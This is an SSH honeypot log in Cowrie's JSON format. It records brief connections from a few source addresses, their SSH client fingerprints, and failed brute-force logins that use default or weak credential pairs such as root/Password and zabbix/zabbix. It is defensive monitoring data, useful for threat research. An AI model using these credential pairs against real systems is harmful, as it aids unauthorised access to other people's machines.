{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:52.666866Z","src_ip":"91.92.42.227","session":"9e51955da969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51804,"dst_ip":"10.17.0.5","dst_port":22,"session":"0646db3fa090","protocol":"ssh","message":"New connection: 45.156.87.147:51804 (10.17.0.5:22) [session: 0646db3fa090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:53.037241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:53.041221Z","src_ip":"45.156.87.147","session":"0646db3fa090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:53.121584Z","src_ip":"45.156.87.147","session":"0646db3fa090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:53.425998Z","src_ip":"45.156.87.147","session":"0646db3fa090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:54.515094Z","src_ip":"45.156.87.147","session":"0646db3fa090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"abc123","message":"login attempt [bot/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:57.128258Z","src_ip":"91.92.42.227","session":"aec28fb92d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51306,"dst_ip":"10.17.0.5","dst_port":22,"session":"e916ab280630","protocol":"ssh","message":"New connection: 91.92.42.227:51306 (10.17.0.5:22) [session: e916ab280630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:57.600343Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de62b107023","protocol":"ssh","message":"New connection: 45.156.87.147:51826 (10.17.0.5:22) [session: 4de62b107023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.133028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.138977Z","src_ip":"45.156.87.147","session":"4de62b107023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.220850Z","src_ip":"45.156.87.147","session":"4de62b107023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.471802Z","src_ip":"45.156.87.147","session":"4de62b107023","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.882989Z","src_ip":"91.92.42.227","session":"e916ab280630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:59.886049Z","src_ip":"91.92.42.227","session":"e916ab280630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:00.471360Z","src_ip":"91.92.42.227","session":"aec28fb92d2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:00.564222Z","src_ip":"45.156.87.147","session":"4de62b107023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:02.231921Z","src_ip":"91.92.42.227","session":"8910c9705432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:04.681318Z","src_ip":"91.92.42.227","session":"8910c9705432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40452,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe899815403","protocol":"ssh","message":"New connection: 45.156.87.147:40452 (10.17.0.5:22) [session: ffe899815403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:05.293212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:05.298012Z","src_ip":"45.156.87.147","session":"ffe899815403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:05.383672Z","src_ip":"45.156.87.147","session":"ffe899815403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:05.630603Z","src_ip":"45.156.87.147","session":"ffe899815403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:06.162414Z","src_ip":"91.92.42.227","session":"e916ab280630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59324,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b9b702eb1d","protocol":"ssh","message":"New connection: 91.92.42.227:59324 (10.17.0.5:22) [session: 06b9b702eb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:06.218145Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:06.717773Z","src_ip":"45.156.87.147","session":"ffe899815403","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:07.291849Z","src_ip":"91.92.42.227","session":"06b9b702eb1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:07.297558Z","src_ip":"91.92.42.227","session":"06b9b702eb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:08.332390Z","src_ip":"91.92.42.227","session":"e916ab280630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41964,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b66ca162cff","protocol":"ssh","message":"New connection: 45.156.87.147:41964 (10.17.0.5:22) [session: 0b66ca162cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:11.177000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:11.181424Z","src_ip":"45.156.87.147","session":"0b66ca162cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:11.263316Z","src_ip":"45.156.87.147","session":"0b66ca162cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:11.514157Z","src_ip":"45.156.87.147","session":"0b66ca162cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:12.267739Z","src_ip":"91.92.42.227","session":"06b9b702eb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:12.602005Z","src_ip":"45.156.87.147","session":"0b66ca162cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:13.899742Z","src_ip":"91.92.42.227","session":"06b9b702eb1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"3778c010a07b","protocol":"ssh","message":"New connection: 8.219.200.1:58492 (10.17.0.5:22) [session: 3778c010a07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:14.159326Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38634,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeae431c30af","protocol":"ssh","message":"New connection: 91.92.42.227:38634 (10.17.0.5:22) [session: aeae431c30af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:14.731530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:15.173328Z","src_ip":"91.92.42.227","session":"aeae431c30af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:15.177507Z","src_ip":"91.92.42.227","session":"aeae431c30af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:16.312180Z","src_ip":"8.219.200.1","session":"3778c010a07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"modzmodz","message":"login attempt [admin1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:16.935100Z","src_ip":"91.92.42.227","session":"aeae431c30af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41990,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d00450e71a","protocol":"ssh","message":"New connection: 45.156.87.147:41990 (10.17.0.5:22) [session: 75d00450e71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:17.266033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:17.269949Z","src_ip":"45.156.87.147","session":"75d00450e71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:17.352407Z","src_ip":"45.156.87.147","session":"75d00450e71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:17.732731Z","src_ip":"45.156.87.147","session":"75d00450e71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:18.640333Z","src_ip":"91.92.42.227","session":"aeae431c30af","protocol":"ssh"}
